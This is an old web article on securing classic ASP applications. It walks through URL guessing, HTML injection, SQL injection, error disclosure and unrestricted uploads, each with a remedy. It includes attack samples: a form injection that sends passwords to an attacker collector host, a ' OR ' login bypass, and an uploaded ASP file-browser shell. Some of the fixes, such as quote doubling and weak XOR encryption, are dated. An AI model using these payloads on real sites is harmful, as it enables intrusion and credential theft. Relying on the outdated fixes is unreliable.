|
features post Articles
(Articles)
online chat server:
irc.xor.cx
channel:
#neworderrandom article
quotable quotes If the facts don't fit the theory, change the facts. Albert Einstein (attributed)
|
How to secure your ASP applications
@ Articles -> Security
Jan 11 2003, 15:30 (UTC+0) | paradog writes: written by Guo Xu 2003
I decided to write this manual since I noticed that many programs I wrote earlier could be simply exploited using the techniques I will mention later.If you are an asp pro, then stop reading because you probably already know how to secure your applications properly in order to prevent exploiting and because you're too cool for this article. Many techniques I will mention work on other server side languages like PHP or CFM too.
PLEASE DISCARD THE (SCRIPTING) TAGS AROUND THE LISTED CODE. THIS IS ADDED BY EDGE, AND IS NOT PART OF THE ARTICLE
Table Of Contents
- URL Guessing
- HTML Injection (Form Based)
- HTML Injection (Querystring Based)
- SQL Injection
- Raise Errors
- Upload
URL Guessing
This actually is a quite clear and simple way to get to restricted areas or retrieve restricted informations. Most simple webhosters don't allow you to setup a database properly: This means that the database is not secured from HTTP access with means that you can download the database once you know the path.
Let's say a homepage's root is here: www.website.com/accountx
Now we could guess the database path. For instance it could be either www.website.com/accountx/db/ or www.website.com/accountx/database/ .
Okay, now you just have to guess the file name of the database. Let's suppose an Access database is used.File names of the database could be: database.mdb, db.mdb, user.mdb, or the name of the homepage/ressource. If you are lucky, you can simply download the database and open it on your local machine to view it's content. There you go: Passwords, user details, addresses etc...!
Hint:
If the hoster is a free hoster, you can register an own account to see the folder structure. Brinkster.com, for example, only let's you store databases in the /db/ folder. To prevent URL guessing you can store your database file somewhere safe where HTTP requests can't reach it. If this is not possible due restrictions from the hoster try to use long file names. Instead of storing a database on www.website.com/accountx/db/data.mdb you could store it on www.website.com/accountx/db/this/should/be/more/secure/thanbefore.mdb
If you are really paranoid you can also encrypt the database content using weak encryption algos when using ASP 3.0 (XoR Encryption by me, found on www.planet-source-code.com, RC4 Encryption by Lewis Moten, also on www.planet-source-code.com) or strong algos when using ASP.NET (AES, Blowfish, DES).
Hint:
If you are using ASP.NET you can make your database even more secure: Hash every password in the database (in ASP.NET you can use libraries for SHA1, SHA256, SHA512 and MD5). Hashing makes sure that the encrypted password can't be decrypted since it is a one-way encryption. Now you need to add some more code to your login screen: The script needs to hash every entered password and compare it with the ones in the database.). But this is not all, you can make it even more secure :)
Add a grain of salt to every password hash so every hash is different. The simplest is if you use the record ID as the grain. There is a quite good description on how to do it on 4GuysFromRolla.com (www.4guysfromrolla.com)
Access Adminareas:
Also many pages have administration areas where the admin can add news, delete news and validate stuffs. Here you can guess URLs too. Usually it is somewhere here: www.website.com/admin.asp,
www.website.com/login.asp,
www.website.com/admin/default.asp,
www.website.com/admin/admin.asp
you get the idea, huh? Some of them don't even need you to login (doh!) because the admin thinks that no one knows where the file is except him. :) In case the page is secured you can use form based brute force programs (eg. Brutus, www.hoobie.net) to retrieve the password.
If you want to prevent unauthorized access to your admin part don't be stupid and think hackers can't guess that your admin area can be accessed on admin.asp! When using a login screen
you could write a code which logs every unsuccessful attempt to login with the IP and time. Also you could build in a protection like the one mobiles use: If anyone enters the password three times wrong, the account is locked and can only be unlocked by logging on using FTP and resetting the file.
HTML Injection (Form Based)
Some ASP beginners (or even experienced coders) forget that hackers can inject HTML if they don't take counter-measures. Let's say you have a guestbook where a guest can
enter his name in a textbox named "txtUser" and his comment into a textarea named "txtContent".
Now after submitting the form the code is passed to a script which inserts the data into either a textfile or a database. In this case it would be something like this:
Con.Execute("INSERT INTO datadb (txtUser, txtText) VALUES('"&
Request.Form("txtUser")& "','"& _
Request.Form("txtContent")& "')")</em>
This allows you to add HTML and client side code. For example you could be a very funny guy and insert following for the content:
<meta http-equiv="refresh" content="1;URL=http://www.porn.com">
One second after loading the page the browser redirects the visitor to porn.com. Funny heh?
You could also write a javascript which makes the window move automatically or a script which opens a new window on loading. Just be creative, there are many other things you could do :)
Of course the form based HTML injection works everywhere where you can give an input and the code creates an output. For example it would also work in forums with HTML code enabled.
To avoid this simply use Response.HTMLEncode or replace the < and > with the html tag< or >.
HTML Injection (Querystring Based)
Many lazy people use querystrings to display error messages: Imagine you have a login screen where an authorized user can login (login.asp). If the password doesn't match, the script redirects you to the login screen like this:
If Request.Form("txtPass") <> "Password" Then
Response.Redirect "login.asp?err=Wrong+Password"
End If
On login.asp there is a code which writes the data from the querystring on the page before sending it to the client:
If Request.Querystring("err") <> "" Then Response.Write
Request.Querystring("err")
Now you can inject HTML codes again. But what if the piece of code above was within the form tag?
<form name="form1" method="post" action="check.asp">
<% If Request.Querystring("err") <> "" Then Response.Write
Request.Querystring("err") %>
(...)
Nice. You could now add another form tag so the submitted document points to your password collector :) This would look like this in login.asp:
<form name="form1" method="post" action="check.asp">
<form name="newform" method="post" action="http://www.hacker.com/collect.asp">
(...)
</form>
To prevent this crap simply use HTMLEncode again or replace the tags.
SQL Injection
Most complex applications use a database for storing information: Usernames, passwords, e-mail addresses etc.. These applications usually need you to authenticate through a login so it can verify that you are the person who is supposed to see the datas. Now imagine a simple login asp code like this one:
Set rsQuery = Con.Execute("SELECT * From X WHERE User_Name='"
& _
Request.Form("User")& "' AND User_Pass = '"
& _
Request.Form("Pass")& "'")
If rsQuery.EOF = True Then
Response.Write "Wrong password!."
Else
Session("User") = rsQuery("Benutzername")
Session("Level") = rsQuery("Zugangslevel")
Response.Redirect "admin.asp"
End If
If someone entered Guo as the username and guoxu as the password the executed sql statement would look like this:
SELECT * FROM X WHERE User_Name='Guo' AND User_Pass='guoxu'
Now this works: If the recordset is empty, then no matching user has been found. if it is not empty then you are redirected to the administration part after settings the right session ids.
Now what if someone enters ' OR ' as the username and ' OR ' as the password?
SELECT * FROM X WHERE User_Name='' OR '' AND User_Pass='' OR ''
Try it, if your code isn't secured against sql injection, you will be able to access the admin part. The solution to prevent sql injections is to replace the ' with a '':
Set rsQuery = Con.Execute("SELECT * From X WHERE User_Name='"
& _
Replace(Request.Form("User"), "'", "''")
& "' AND User_Pass = '"& _
Replace(Request.Form("Pass"), "'", "''")
& "'")
If rsQuery.EOF = True Then
Response.Write "Wrong password!."
Else
Session("User") = rsQuery("Benutzername")
Session("Level") = rsQuery("Zugangslevel")
Response.Redirect "admin.asp"
End If
Of course you can inject more complex statements but this requires a lot of patience since you have to guess the sql statement.
Raise Errors
Some people are too lazy to build in error handling. This can be used to guess database paths.
For example lets say you have a news page where a page named show.asp shows the entire article. The id of the article is passed through querystrings to the script. So for example, to display the article with the ID 25 you simply enter show.asp?id=25 . Now what if you enter show.asp?id=521272 or show.asp?id=ioqehqew ? This raises an error. If the programmer forgot to handle the error then sometimes the IIS displays an error telling you the physical and the virtual path of the database.
Upload
I think this security hole doesn't show up often. Recently I found some idiot having a page where people could upload articles so everyone could read it. Unfortunately that guy forgot that you could also upload other files apart from .doc, .txt or .rtf. This was worth a try: I uploaded an ASP code which listed all directories so I could browser throught the computer, delete or edit files. It worked! How stupid could one be, so I decided to send a mail to that guy warning him about the error. After a week or so I visited the page again and the error was still there.... stupid... So please, please verify the filetypes the user uploads, if it is script file which could be executed, reject it or rename the extention.
Thats it...
...or better: I'm too tired to write more. I hope you guys could use some of the informations in this article. For any constructive comments, please mail to GuoX@gmx.net.
|
| Top of page
|
